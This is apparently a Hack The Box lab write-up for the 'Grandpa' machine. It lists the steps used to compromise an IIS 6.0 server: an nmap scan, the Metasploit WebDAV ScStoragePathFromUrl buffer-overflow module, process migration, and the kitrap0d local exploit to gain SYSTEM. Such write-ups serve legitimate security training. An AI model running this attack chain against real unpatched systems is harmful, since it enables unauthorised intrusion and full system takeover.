> For the complete documentation index, see [llms.txt](https://htb.haydenhousen.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://htb.haydenhousen.com/old-machine-writeups/grandpa.md).

# Grandpa

HTB 9. Grandpa

1. `nmap -T4 -A -p- 10.10.10.14` shows 80 open with version `Microsoft IIS httpd 6.0` (dated version) and poentially risky methods (`TRACE` and \`PUT)
2. Go to `10.10.10.14` shows "Under Construction" page.
3. Google `Microsoft IIS httpd 6.0 exploit` finds [Microsoft IIS 6.0 - WebDAV 'ScStoragePathFromUrl' Remote Buffer Overflow](https://www.exploit-db.com/exploits/41738) and [Rapid7](https://www.rapid7.com/db/modules/exploit/windows/iis/iis_webdav_scstoragepathfromurl).
4. `searchsploit ScStoragePathFromUrl` shows python and ruby modules.
5. Metasploit

   ```
   use exploit/windows/iis/iis_webdav_scstoragepathfromurl
   set rhost 10.10.10.14
   set lport 5555
   show targets
   run
   ```

   Try running again (4 times)
6. We are not system. `ps` to show processes. Pick a process that has `NT AUTHORITY\NETWORK SERVICE` with `migrate 1788` and success.
7. Priv esc suggester:

   ```
   search suggester
   use 0
   options
   set session 1
   run
   ```

   Result: 9 options, go down list and try to see what works
8. start with `ms10_015_kitrap0d` and `set lhost tun0`
9. `getuid` is `NT AUTHORITY\SYSTEM`.


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